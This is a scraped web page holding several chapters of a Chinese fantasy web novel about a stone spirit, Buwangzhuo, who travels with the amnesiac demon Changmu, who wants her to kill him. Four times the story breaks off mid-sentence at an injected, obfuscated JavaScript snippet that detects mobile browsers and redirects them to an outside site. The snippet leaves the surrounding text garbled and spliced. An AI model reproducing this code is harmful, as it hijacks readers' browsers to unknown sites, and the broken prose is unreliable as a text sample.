我回头打探,洞里的魔俨然坐化成了一桩冰柱子,大好时机,我手脚并用爬出暗无天日的洞穴。 外面雪山连着雪山,直连成一片苍茫雪海。 蟾蜍精曾教过我,妖往高处走,水往低处流,石头往地下滚。 只最后回望了眼,我投身一跃,跳入雪海间。 身为石头的好处不必多说,我不知饥渴不知痛,嗅着风声的方向,一路自由地在雪浪间翻腾。 这是全然不同的感觉,对我来说新奇极了。 就这样玩了半日,沿着山道一路畅游,不小心被小土坡磕了下,我顺着风声一个高跳,跳进一个冰冷手心里。 …… 魔又把我带回了那个山洞。他像上次一样把我随便丢在地上,转身去自己打坐。 这次我只忍了三天,实在忍无可忍,我长出了嘴:“你到底想怎样?!” 那魔闭眼不说话。 我气得长出两条腿,站起来就往洞外跑。 一脚还没踏出洞口,背后一股巨大的吸力袭来,我再度落入魔的掌心。 我气得没话要说了,两腿一蹬,直接装死。 “杀我。”略哑的嗓音。 嗯?我睁开眼。 我又变成了石头捏在他手里。 “你在跟我说话?” 那粘着雪的长睫下是暗雪般的眼眸,他看着我,却又像没在看我。世间身负最多妄念的魔竟然有着最纯净的眼睛。 他像在说一个愿望。 他对我说:“你,杀我。” 我想摇头,可此时的我没有头,于是用嘴说:“我杀不了你。” 他语调平平:“你是杀魔石。” “诚然,但,我杀不了你。” 我实话实说,他却像是不解了,视线聚到我身上,冰一样的手指抚过石头上的字,我发誓我绝对起鸡皮疙瘩了。 “我能感觉到,”他的声音缓缓,“有恨。” 没错,是恨,再没有比这更多的恨,能让人用尽全部心头血浇灌一颗石头。 他说:“她死了。” “很多年前就死了。” “她的名字是什么?” “裳华,是一名剑修。” 他的目光放空了一会儿,半晌,说:“不记得了。” 我被摸得龇牙咧嘴。 裳华啊裳华,你为何留这么多恨给我,又不告诉我如何杀他? 事情的发展逐渐变得奇怪了。我原以为长暮找到我是想杀我,但他似乎没这个意思。 自从他不哑巴了,跟我说的最多的两个字就是——“杀我”。 “可是长暮大人啊,我真不知道怎么杀你。” 我就快在他面前跪下了。 下一句便是…… “你是杀魔石。”我和他异口同声说出这句话。 “是是是,我是杀魔石,长暮大人,可没有人教过我怎么杀你。” “那个人没教你吗?” “那个人?你说谁?” 长暮说:“在你身上刻字的那个人。” “哦,没有,她没来得及说就死了。”我表示无奈。 虚影唰地一晃,我后脖子被拎了起来,寒风扑面而来,转眼我就被长暮拎出了山洞。 “等等等!长暮大人你要带我去哪?!” “去鬼域。” “裳华早就身死道消了,去鬼域也找不着她啊。” 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660312|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们停在一个雪坡上,回头一片雪茫茫,已经看不到来时的方向了。 看来这个魔是真的不记得她了,那这些恨呢?空留在我石头的身体上,我杀不了他。 我说:“裳华的尸身埋在有无山,如果回到那里,我也许能想到办法。” 其实这话就随口那么一说,我不过想找个理由离开这破地方,没想到长暮当真了。 就这样,在被魔头大人绑架到雪山的第三年,我们踏上了返回有无山的旅程。 嗯,目前碰到的最大难题是——我忘记有无山在哪里了。 说完这句话,我真怕长暮把我头拧下来,于是马上抱着头躲到一边去。 长暮安静了一会儿,说:“那就去找。” 我问:“怎么找?” 好了,他现在看起来是真的会把我头拧下来冻成冰墩子踢了。 找就找呗,有无山在哪呢,总之不会在这么冷又常年是雪的地方。 记忆里有无山是一座并不高的山,山上有一条小溪,有几座连排的房屋,但只有裳华一个人住。 应该往南边更温暖的地方走。 我对长暮描述这个模糊的方向,他又在闭着眼打坐,说:“就往你说的路走。” 他看起来并不很在意…… 忘了说,现在我们已经离开了冰洞。 苍林雪域是两块地方,离开连绵的雪域就是一片莽莽林海,山脚下有人烟。这两日,我们到了附近的城镇,在一家客栈住了下来。 我在他打坐的塌边坐下,试探道:“长暮大人,你打坐是在修炼吗?” “是。” “你修炼之后会比现在更厉害?” “当然。” 我一个惊叫:“那我岂不是更没办法杀你了?!” 长暮睁开眼,缓缓看向我。 我说:“你不是想要我杀你吗,我现在杀不了你,你越修越厉害,那我就更杀不了你了啊。” 长暮似是在沉思,片刻,他说:“你说的有道理。” 怎么办怎么办。 我在房间里走来走去。 我抓住他的衣袖:“从今天开始,你不能再修炼了!” 本想接着说些“那我从今天开始抓紧修炼”之类的话,太违心了,我说不出口,我是一颗十分懒惰的石头。 石头脑袋快想得起火星子了,总算给我想到一个办法。 我谄媚道:“长暮大人,要不我今晚先杀您试试?” 7. 涉世(六) 说干就干,趁着月黑风高,我去客栈厨房偷来一把菜刀。 那刀刃磨得又薄又亮,斜斜扫过我的胳膊,刀刃上留下数根汗毛。 是把好刀! 我吹掉刀刃上的汗毛,两手握住刀木柄。 “长暮大人,我准备好了。” 长暮站起来。 我现在还是女童的身型,要拿刀杀害一个成年男人实属勉强。 于是我说:“长暮大人,还是请你先坐下吧。” 长暮坐下了。 我拿刀在他面前比划了几下,咳了两声:“长暮大人,可能会弄脏您的外袍,请你把外袍先脱下吧。” “无碍。” “哦。” 我有些紧张。 我连鸡都没杀过,突然让我杀魔,真难为我了。 我牵起那只冰冷的手,却无法让刀刃落在他纤丽的手腕上,我望向那白净的脖子,却不忍心让血沾染了他秀美的肩颈。 还是脖子吧。 我握着菜刀靠近那白瓷般的脖子,靠近了,刀刃在那白色上如同作画一般,画开一道红。 “痛不痛?”问声脱口而出。 那脖子动了下,长暮目光还是淡淡的,他说:“再深一些。” 长痛不如短痛! 我握刀挥过,刀刃割破风声,我闭上眼,以为这就是我的命了! 谁知,预想的血溅三尺的场面没有发生。长暮好端端的坐在那里,脖子上还是只有那道红痕。 嗯??? 我明明用了最大力气!不可能啊! 长暮笑了一声,是嘲笑。他说:“还想试试吗?” “为什么……” “人间界的武器对我来说没用。” “怎么不早说?!” 耍石头很好玩吗! 我气得丢了菜刀,抱臂坐到一边。 长暮用手抹了下脖子上的血痕,神色不明,手里突然变出个匕首,丢给了我。 “拿这个试。” “这又是什么?” “是世间最好的匕首。” 匕首刀刃是弯的,像一轮弯月亮。 我已经被惹烦了,拿着那把黑漆漆的匕首站起来。 “你总知道打蛇打七寸的道理,如要杀我,也需寻我的七寸。” 长暮淡笑。 “你大可一试。” “……” “不是脖子,你方才试过了。” “……” “不是左胸,魔无心。” “……” “不是腰腹。” “到底是哪里!” 我又气恼了,这家伙怎么就喜欢耍人! “眼睛。” 长暮剔透的眼睛淡漠看着我。 “你要将匕首刺进我的右眼眶。” 我站在他面前,他坐着,我抬手的高度刚好。 “动手。”他催我。 “你这魔头真是太讨嫌了。” 嘴里念着,我瞄准起手的方向,狠狠将匕首戳进了他的右眼眶。 暗红的血霎那间打湿前襟,白里染透一片红。 血是冷的,落在我褪色的桃红衣裳上,落得好看,我摇身换了件暗红的衣裙。 长暮半边脸上是血,大笑不止。 “你真可杀我。” 我十分惊喜:“只要刺眼睛就可以?你是不是又骗我?那我再试?” 他摇头:“方才你刺破我右眼后,我想起一些事。我还有愿未了,不能就这么死了。” 我问他什么愿,他不答,只是笑,边笑,豆大的暗红色血珠子边从他右眼眶掉下来,像在哭一样。 总之,第一次杀魔尝试就这么告终了。按照长暮的说法,只要将他给的匕首刺进他的眼眶,我就能杀了他。 听起来很是简单。 我原本以为这是很难的事情,没想到他一心求死。 既然早死晚死都得死,让他满足心愿再去死,也不算什么难事啊!我真是一颗善良的好石头。 冬去春初,一辆灰扑扑的马车在尘土飞扬的官道上疾驰。 “长暮大人,你的心愿到底是什么?” 隔着马车帘,我第一百零八次问出这个问题。 是的,我们现在有了一辆马车。上次刺破右眼眶之后,长暮就看不见了。 长暮说,魔的身体本不应这样脆弱,但那匕首上有一股力量,在阻止他的右眼复原。 行走在人间界,动用魔气会引来麻烦,我索性装扮成侍女的样子,毕竟他瞎了只眼睛,总不能让他来赶车。 想也知道,马车里的魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660313|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有回答我的问题。我只是想问罢了,他不答,我就继续问。 马车已行了半月有余,今日终于到了宋国的边界。我看见宋国的界石。那石头不知被谁削去了尖顶,身上满是刀箭创伤,黄沙混血,斑驳不堪。 沙尘滚滚,我在伤痕累累的界石前勒停马车,问宋国的战争停了没有。 “宋国?十几年前就没有宋国啦!”孩童的声音从石头里传出来。 听闻此话,我原本踩在马车前面的横条上的左腿放了下来:“亡国了?” “是啊。” 界石的声音像是打了个懒懒的哈欠,接着告诉我十年前宋国的最后一战输了,之后便被另一个王朝吞并了。 近几十年来,人间界战乱频繁,国家吞并,朝代改易都是常事,我并不惊奇。 在山里太久,我竟不知道已经过去了十余年。 既然宋国亡国了,卫家庄也该不在了吧。 我问界石,宋国都不在了,为什么她还在那里。 “我本来就是一颗在这里的石头啊,不过宋国在时,被别人喊作界石,宋国没了,我自然还是那颗石头。” “那你身上的刻痕呢?” “那是别人刻上去的字,与我并没有关系。” 我们聊了几句,然后向她问了路,接着就驾车离开了。 这就是我与她的不同,她可以不把身上的痕迹当一回事,还做原来的石头,我却万万不能够了。 帮我们驾车的是匹小马,有着灰白夹杂的鬃毛,我在集市上随手牵的,却很听话。 小马向前不紧不慢地跑着,我扭头跟车里的魔说:“我有名字,你不要再叫我杀魔石,以后叫我名字。” 长暮的声音透过摇晃的马车帘传出来:“你的名字是什么?” 我忽问:“你还记得裳华这个名字吗?” “忘了。” “哦。” 我收紧马辔,让小马慢些跑。 “我叫不枉琢,是裳华给我的名字。” 我听见长暮在车里笑了。又在嘲笑我。 “笑什么?” “笑这名字刻意之极。” 我抬头望天,黑色乌鸦结群飞过。 “只有杀了你,我才是真正的不枉琢。” 长暮答:“你必能如愿。” 8. 重游(一) 上回说到偶遇曾经的宋国界石,我得知了宋国亡国的事。 我心说宋国既已亡了,卫家庄自然该不在了,谁知又让我遇到那两棵树。 不知何年何人信手扔的核,落地长出树,一棵枣树,一棵桃树,树长出来的地方后来成了卫家庄村口。 荒山走马,纯属路过,我一见那两棵树就认出来了,只是树上的枣树精和桃树精不见了踪影。 我在卫家庄待过十年,如今又是十年,虽说石头的命很长,可时间也真真如流水啊。 没想到宋国没了,这小村子还在。 我在卫家庄村口勒停了小马。 卫家的茅屋久无人居,早已破败,站在院子里,我捡起卫二娘曾用过的竹簸箕,底下被老鼠啃了好大个洞。 “就是这儿。”我对长暮说。 长暮眼上缠着白色薄纱,看不见,但他鼻子抽动了下。灰尘的味道让他不甚喜爱,他一挥袖子,院子里杂草顿无,器物全新。 ! 这是什么法术! 我忙牵着他在几间屋子里走了遭,问他:“长暮大人,这招能教教我吗?” 学会之后再也不用自己打扫了,这多厉害! 长暮倒是大方,想学就教了。我两手结印,按他说的方法调动灵力,待灵力流动到指尖,一挥而去! 咻! 嗯……马马虎虎吧。 “长暮大人你真厉害,我都能教会!”我顺势拍马屁。 长暮摸到屋子里的桌子,两指一擦,捻着手指上的灰土说:“你灵力未免太低了。” “没好好修炼过,当然灵力低喽。” “为何不好好修炼?” 这问题把我问住了。 我跳上竹榻,盘腿坐下,两手捧住下巴,问道:“为什么要好好修炼呢?” “山精修炼为了成妖,妖怪修炼是做梦有朝一日能登仙,我既已是妖,又不想成仙,毕生所愿唯杀魔而已,为何要竭力修炼?” 长暮说:“你若不修炼,如何能杀我?” 我问:“难道我修炼了就能杀你吗?” 长暮沉思半晌,答:“倒也不能。” “那就是了,现如今我已有杀你之法,更不需劳心劳力做那苦修的活计了。” 我在榻上躺下,窗外日光耀眼。 “春光如许,做颗山里的石头岂不自在?” 长暮有好一阵子没说话,一弹指,屋内没打扫的地方也干净了。 他掸掸袖子,在凳子上坐下。 “我总算知道为何石头难成妖了。” 我懒得与他辩解,就当别的石头都与我一般懒惰吧。柔软的阳光照到我身上,忽有种光阴漫长的错觉,我就这么睡了过去。 睡梦中回到了卫家庄的那十年,二娘把被子搬出去晒时,我还懒在床上,她在春日的庭院扑打被褥,蓝头巾和碎花棉被一同熠熠生光。 睁开眼,灯火闪烁,我竟睡到了晚上。 竹屋里亮着烛火,屋檐下的红灯笼也亮着,屋檐外,有魔坐在院中。 我看着灯笼陷入思索,这灯笼是变出来的,还是原来就有的? 我问院中那魔:“这灯笼怎么变的?” 长暮坐在石桌旁,白衣胜雪,眼上依然蒙着白纱,听见我的问话,他抬指,屋檐下一排灯笼从左到右渐次亮起来。 我学他的手势,想给这些红得无聊的圆灯笼加点装饰,指尖灵力一动,只见连排的灯笼随风一晃。只一晃而已。 我叹了口气,在门前石阶上坐下来。 “我曾经喜欢晒月亮,后来发现还是晒太阳更舒服。” 院中晒月亮的魔微微抬起下巴,朝向月亮的方向。今夜是上弦月。 我说:“长暮,你的心愿到底是什么?告诉我,我能助你实现也未可知。” 魔转过头来:“魔无心,唯有愿而已。” 我不想与他咬文嚼字,说:“好,那你的愿是什么?你想要什么,还是想做什么事?” 他又把头转了过去。 过了很久,久到夜凉了,我以为他再也不会回答这个问题。我自讨没趣,预备回屋睡觉。 “我不知道。” 我下巴卡在打哈欠的位置,身体维持在转身的姿势。 长暮的脸朝向我的方向,月光似乎能渗进他的身体。 “我忘了很多事,想不起来了。” 我嘶地吸了口凉气,重新转身回去。 现在的局面更复杂了。 这晚我与长暮长谈,说起来也好笑,我们几乎朝夕相对了三年,到如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660314|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我才知道三年前他抓我那次,是他刚醒。 我说:“刚出关就马不停蹄来抓我了?你不是说你都不记得了吗?” “有个声音告诉我,杀我之人现世了。所以我醒来了。” “谁的声音?” “不知道。” 我快崩溃了。 我提议道:“既然现在什么都不知道,要不我就这么把你杀了得了,省了一堆事。” 唰地一声我被原地冻成了冰墩子。 糟糕,忘记这魔的秉性了。 “不可。” 他在月光下站起来,轻展衣袍。 “我的愿非遂不可。” 知道了知道了。两只耳朵都听见了。 这夜长暮终于向我说起他的愿,他说,是找。 “找?找什么?找人?找妖?”我丈二和尚摸不着脑袋。 “是人,我欠了那人一命,需将命还回去。” 我说:“天下这么大,找一个该多难呢,更何况你闭关了那么久,那人死了也说不定。” “我必须找到那人。” “那有无山呢,不找了吗?” “你说去有无山能寻到杀魔之法,是真是假?” 被长暮通透的眼珠子一盯,我突然有点心虚,只能老实交代了。 “也有可能找不到,但是,”我立马找补,“裳华肯定知道。” “你说裳华已经身死道消了。” “可她留下来很多书,说不定里面有记载,你不想去看看吗?” 长暮微微偏头,似乎在衡量这句话的可信程度,经我再三保证,他终于放过了我。 裳华确实留下来一屋子书,那些书里有没有杀魔之法我还真不知道,姑且当有吧。 出来苍林雪域这一路上,我本想向沿途的精怪打听有无山的所在。说来也奇怪,精怪们像是绝迹了一样,一路上碰都没碰到几个。 偶有行人,我乔装化身前去询问,听到有无山的名字,这些人也只是摇摇头,说没听说过。 有无山,就像它的名字一样,从未存在过。 现在只能这样了,先在卫家庄停留一段时间,等长暮眼睛好了再继续上路。 这么盘算着,本意是故地重游寻个清净,谁知又被庄子里的事绊住。 9. 重游(二) 这件倒霉事说来话长,又要说回回到卫家庄的第二天。 那天一清早,门被叩响了。 前一天晚上和长暮聊到半夜,我正睡得香着呢,被敲门声吵醒,打着哈欠拉开门。 “哎呦!” 门口拄着拐的老婆婆差点一个屁股蹲摔地上,我眼疾手快拉住她。 老婆婆定睛往我脸上一瞧:“鬼啊!鬼啊!”没等我扶稳,一把推开我的手,连滚带爬跑走了。 我捡起掉在地上的拐杖,纳了个闷,回屋继续睡回笼觉。 这几年风餐露宿的,没几觉是在床上睡的,虽说变成石头哪里都能躺,不过还是床上躺着最舒服。 我躺着闭了会儿眼,眼前浮现老婆婆脸上的黑痣,那黑痣长在下巴上,半个铜钱大小。 怎么那么眼熟呢? 电光火石一闪念,钱婆?! 我睁眼坐起来。 那老婆婆是钱婆。 钱婆当年要年轻一点,是当时村长的老婆,后来村长死了守了寡,没想到如今身体还硬朗啊。 没想起来还能见到熟人这茬,我心生懊恼。 十年前我走的时候,是跟村里的人说去别处寻亲了,现在我回来,还长着十年前的样子,可不给人吓得像见鬼了吗? 瞧我这一身小孩样子,都让人看见了,现在再变也来不及了。 讲起来,我还真没想过长大要变成什么样呢。 我去隔壁房间跟长暮说这事,他又在打坐修炼,我讪讪离开。 坐在门口台阶上想了半天,我灵机一动,突然想到一个好说法。 我拍拍灰站起来,打算去跟长暮对口供,院外忽然敲锣打鼓来了一堆人。 “在这!妖怪就在这!” “抓住她!” 钱婆浩浩荡荡领着一干人,拿着锄头铁锹前来捉妖。 我叹口气,先侧耳听,长暮房间毫无动静,我就地坐下,摆出如他一般的打坐姿势,待吵闹声到了院中,我悠悠睁眼。 “何人在修道之地喧哗?!” 我在声音里灌了点灵力,尾音里荡出点洪钟的样子,有人扔了锄头捂住耳朵,已经受不了了。 只是一帮普通的农人。 先发制人,钱婆也被唬住了,看着我想说话又不敢说的样子。 我站起来,右手在上,左手在下,手持结印,站在台阶上垂眼看向她。 “来人可是钱家阿婆?” “是、是又怎么了!”钱婆嗓门很大,颇有虚张声势的效果,“你是哪里来的人,怎么住在卫二娘的屋子里?!” 我将一只手背向身后。 “这本就是我的来处,暂住几日有何不可?” 钱婆露出狐疑的表情,身后一帮村民交头接耳起来。 “钱婆,可还记得卫家阿琢?”我说。 钱婆缀着铜钱痣的白胖大脸先是呆滞了,然后颤动,眼神不可置信,指着我的手在打颤。 “你、你是卫阿琢?” “正是。” “可、可你不是十几年前就走去别地寻亲了吗?怎的还是当年模样?!” 我仰天长叹一口:“这事说来话长……” 总之还没编好。 “机缘巧合,修了道门,如今还是童子身罢了。” 我原本计划骗到这里就够唬人了,谁知事情发展出我所料。 钱婆一听这话就信了,立马回头跟来的村民解释,没说两句,一群人哗啦啦在院子里跪倒一片。 “求仙人救救卫家庄啊!” 我一瞬慌了:“我没说我是仙人啊,你们跪什么,快起来……” 我话音刚落,白衣如出尘仙子的魔缓缓走了出来。 众人:“求仙人救救卫家庄啊!!!” 我也不知道事情怎么变成这样了。长暮要是被吵恼了,魔性大发,一巴掌拍死院里这帮人也是有可能的。 收尸可是件麻烦事啊! 在山呼海啸般的哀呼声里,长暮看向我,冷漠的眼睛在向我问话。 这我能怎么说! 我只能好声好气道:“长暮大人,这些人都这样了,要不就听听说的什么事呢?” “这些,是谁?” “是人。” “这些人,是谁?” “是卫家庄的村民。” 长暮只是看着我。 我咳了声:“没错,我们是不认识……” 长暮转身就走,我忙扯住他袖子,他的袖子又长,又凉,又滑,我愣是用了两只手才拖住。 长暮背身说:“我无意救人。” “那就当报恩吧!我既要帮你实现你的愿,那你帮我报恩,岂不公平?” “这些人于你有恩?” 与其说卫家庄这些人于我有恩,不如说卫家二娘是我的恩人。 我不愿再说了,说来又是没头的事。 我说:“是,你帮我一回,我会记下的。” 哈,没想到长暮就这么被我说服了。 我头一回发现这魔还挺好说话的。 听村民们七嘴八舌说完,我大概知道了事情的经过。卫家庄已经太平了好一些年头,从今年过年以来,频频有怪事发生。 先是有村民听见半夜山间有婴儿哭啼,一干人打着灯笼赶去什么都没见着,而后又是田间地头频频有异动。 晚上若有人守田,便没动静,只有一没人在,一夜过去总会出现莫名的八趾脚印,村民们说必定是长着八趾的妖邪在作祟! 我一听这话安了心,想来这连人都怕的妖邪也没多大本事。 打这以后,我和长暮就在庄子里以修道仙人的身份骗吃骗喝了。 长暮这魔端的飘逸出尘,只要往那一站,仙人身份不言自明。和他走在卫家庄里,路上遇着的妇人儿童都要把他当成神仙拜上一拜。 “求仙人保佑卫家庄!保佑庄里来年无战乱,庄稼有收成。” 妇人跪地伏拜,右手指尖触及白袍一角。 只见仙人眉头一紧,我忙扯起他的袖子往旁边闪了步。 “知道了知道了,这礼仙人受下了,王阿婆你赶紧回家吃饭吧。” 我擦了擦额头冷汗。 老是受这三叩九拜的大礼,我一个石头也够难为情的。 一日傍晚,杨柳拂烟。我和长暮信步走到村尾,村尾有口小池塘,池塘边栽着一棵老柳树。 隔着老远,我遥遥看见柳树精穿着一身绿衣裳坐在池塘边上摇扇子,等我走过去,池边空空,妖影不知哪去了。 我走到柳树前,轻轻摸了摸柳树的老树皮,然后伸出指甲……硬抠了一块下来。 “哎呦!”柳树里传出一声惨叫。 “出来,我都看见你了,躲什么躲。” 柳树后面探出一个头,我去抓,没等我揪住他,又缩了回去。 我冷笑,两臂抱住柳树树干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660315|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,发疯一样狂摇起来。 “别摇了别摇了!都摇秃了!!” 柳树精跳出来,一脸生气。 “哈哈哈哈!”我大笑,“你怎么还这么秃,这些年没长一根毛啊。” 柳树精插腰站在我面前,头发像用秃毛的扫帚。 “我本来就不长毛!” 我放肆嘲笑了柳树精一阵,擦擦笑出的眼泪:“桃树精和杏树精去哪了,怎么没见她们?” “谁知道!”柳树精气鼓鼓地抱起手臂,“当年你走没多久,她们都走了。” “去哪了,也朝万妖城那边去了么?” “不知道,只听她们说这里气越来越浊了,要去个明快点的地方修炼。” “气浊了?”我吸吸鼻子,“闻起来不见得啊。” “这两年是好了不少,没打仗了嘛。早些年打仗的时候,哪里都闻着一股血沫子味呢!”柳树精说着叹了口气,“杀魔石你不是跟着去万妖城了吗?” “哦,我路过,回来看看。” 柳树精很嫌弃的样子:“你回来就回来,怎么还带了个那东西?” “什么东西?”我莫名其妙。 “就那东西……”柳树精朝一个方向努努嘴,顺着他的指向,我瞧见长暮躬身望向池塘,像是在用他瞎了的眼睛观鱼。 额…… 我将柳树精拉到离池塘远远的地方。 “柳树精,我问你个事儿,你知道有无山吗?” “有无山?没听说过。”柳树精摇头。 我一声哀嚎:“连你都没听说过,完了完了。” 柳树精:“你想做什么?” “我要去这里,但是不知道在哪儿。” “找路啊,那好说,你去问土地婆婆,她肯定知道,”柳树精说,“不过你千万别带那东西一起去哦。” 我奇了怪了:“什么东西啊,你说的什么跟什么啊?” 柳树精说:“就跟着你的那团脏东西啊。” 我又看了白花花的长暮一眼。 脏吗?没有啊! 经过柳树精的一番解释我才知道,原来在他看来,长暮是一团又黑又黏糊糊的气,所以说他是脏东西。 要是被长暮听到这话,柳树精估计小命不保了。 告别柳树精,我走到长暮身边,把他上上下下从头到尾嗅了一遍。 “你干什么?” “裳华告诉我魔集世间妄念而成,为什么我闻不出来?” 长暮问:“闻不出什么?” 我摸着下巴:“欲望的味道。” 世间的欲望是有气味的。我见过被欲望腌入味了的妖怪,像一碟放馊了的糖醋鱼,酸臭极了,对方也确是鱼精。 如果魔是天地间妄念的集大成者,那我为什么闻不出它的味道?是没有还是我没闻出来呢? “因为你是石头。”长暮说。 是吧,也许因为我是石头,长着石头鼻子,闻不出来也正常,我不去计较这些了,转而问长暮他刚刚在看什么。 “看鱼。” “你眼睛好了?” “看有时候不需要眼睛,心观亦可。” 我朝那腥臭的池塘看去,一池浑浊死水,哪里有鱼的影子? “我看不见哪里有鱼。” “那是你心不静。” 我撇嘴,翻了他一眼。 我与长暮,石头与魔,鸡同鸭讲,对牛弹琴! 10. 重游(三) 我感谢柳树精的善意提醒,接着把他的话抛之脑后,一心只想着找土地婆婆问路。 据柳树精说,土地婆婆是这两年新来的,见识颇广,找她问路一定能行。 土地婆婆住在半山上的庙里,我和长暮沿着山道往山上走,天色已渐暗了,山里起了薄雾。 长暮说山间里有鬼气。 “鬼气?”我说,“山里死过不少人,怕是少不得鬼气。” 长暮说:“枉死的凡人入不了轮回,如今的鬼域怕是人满为患了。” 我并不清楚这些事。 “人一死就该入鬼域等轮回,若是入不了鬼域,便只能在世间游荡,等个魂飞魄散。每逢战乱的纪年,鬼域满了,世间多是入不了轮回的魂魄。” 长暮眼眉间神色淡淡,无半点悲悯,淡漠地嘲讽:“连入轮回都无法,由此可见,凡人平日里求神拜仙只是徒劳。” “可人活着连神都不求了,还能如何?” “那不过是世人愚昧,求神若有用,人间世的愁苦哀乐倒真如泡影了。” “无用是无用,至少有个安慰。”我亦是叹惋。 一边说一边走,天彻底黑了,长暮不用眼睛也能看清路,我看不清路没法走,东绊一下,西摔一跤,长暮烦了,扬手,山间幽蓝鬼火亮起。 “你把这些鬼都烧了,他们怎么投胎!”我急了。 长暮无情反问:“本就是游荡已久的野鬼,省了变恶鬼的麻烦,你不是说要帮那些人吗?” 我就知道这魔是个坏心眼!人家死了变成鬼,没投胎的机会,在山间自由自在好好的,说烧就给鬼烧了,这找谁说理去? 我心里念了个哀号,等过几月的清明多烧些钱纸吧。 土地婆婆的庙建在半山的坡道上,隔着半里山路,有香火味自前方飘来。这小小的一个卫家庄,土地庙香火很旺啊。 求神无用?无用也求。 爬到了半山腰,土地庙还要上一个矮坡,正要抬腿上坡,想到一事,我脚步停下,转身看着长暮。 “长暮大人,要不您在这儿等我,我自己上去?” 长暮:“为什么?” “俗话说庙小妖风大,怕冲撞了您啊。” 长暮头一点应了下来。 我松了口气,向着土地庙去,进门便看见院中香鼎在夜里幽幽亮着红光,鼎中烧尽的香灰落堆成了灰白的山尖。 月色昏昏,月下有人哼着不着边幅的吴歌。 “约郎约到月上时,冉了月上子山头弗见渠。弗知奴处山低月上得早,咦弗知郎处山高月上得迟……”[1] 月下人拎着酒壶,身子半靠在石桌上自斟自饮,哼起曲来意也绵绵,听得人不像在荒村破庙,反倒有种红楼梦中之感了。 还没见着月下人的长相,就听闻她一声悠扬的喟叹:“哎唷唷唷——无事不登三宝殿,想不到我这破庙深夜也有客大驾光临么。” 我扬声敬道:“仙人可是卫家庄的土地婆婆?” 那人笑骂:“什么仙人不仙人的,不过是积了点德行,混个地仙当当,叫我仙人是要折煞我也。” 她提着酒壶起身,腰间挂着的红彩络子随之垂下,络子垂处缀着两根红色羽毛,红得有几分亲切。 待到我面前,她仔仔细细将我睇了个遍,我闻见她身上的火烛味道,是真正被人间烟火供奉过的仙人,我不由得心生敬意,给她作了个揖。 仙人却蹙了眉:“我以为来的是什么厉害大妖,怎么是个石头精?” “仙人婆婆,我来是想向您问路,我此行欲归有无山,您可知有无山所在?” “不知道,”她懒打了个哈欠,“问别个去。” “也是在山中活糊涂了,还想着能有什么有趣的事。石头精?罢了罢了。” 她自嘲一句,拂袖要走。 我当然听出了她话里的嘲讽之意,我们石头精都被人说惯了。要么就惊奇一个石头怎么能修成精的,要么话没说两句,先下了石头脑袋的论断。 我的石头脑袋怎么可能轻易放过能问到消息的人。 土地婆婆抬手欲饮酒,手怎么都抬不动,低头一瞥,那石头精把人手抱住了。 我哀求道:“仙人婆婆,柳树精说向您问路一定行,您可是地仙啊,就帮帮我吧,我有要紧事,一定得找到有无山。” 我俩拉拉扯扯拔了阵河,角力间,温热手指探上我后颈,我后脖子处的头发被拨开了。 她身上温温热热的酒气,像花堆里烘热的酒坛子,懒洋洋问:“你说你欲归有无山,既是归途,怎会寻不着路?” “下山太久,我给忘了。” “不愧是石头脑袋。” 我头被敲了下。 她又到石桌旁坐下,倒酒,酒壶空了,被意兴阑珊地扔到一边,她手撑头问我:“你脖子后面的杀魔二字是真是假?” “如假包换!” “哦?你就是大名鼎鼎的杀魔石,”她姿态虽懒,目光却冷峻,“我瞧不出你有什么杀魔的本事。” “我此去有无山,正是要寻那杀魔秘法。” 她无言了半晌,说:“若是如此,我倒可助你一程之力。”说着又打了一个哈欠,“不过今天太晚了,我困了,你明日再来寻我。” 听到这话,眼前的破庙在我眼里顿时镀上了一层金光。 我兴冲冲跑回去告诉长暮这个好消息,长暮已经不在原地,我喊了他好几声,从草丛里突然钻出个人影,手上拽着一只活蹦乱跳尖声叫唤的大肥兔子。 长暮满脸嫌弃,一手将兔子丢给我,我连忙抓住兔子耳朵。 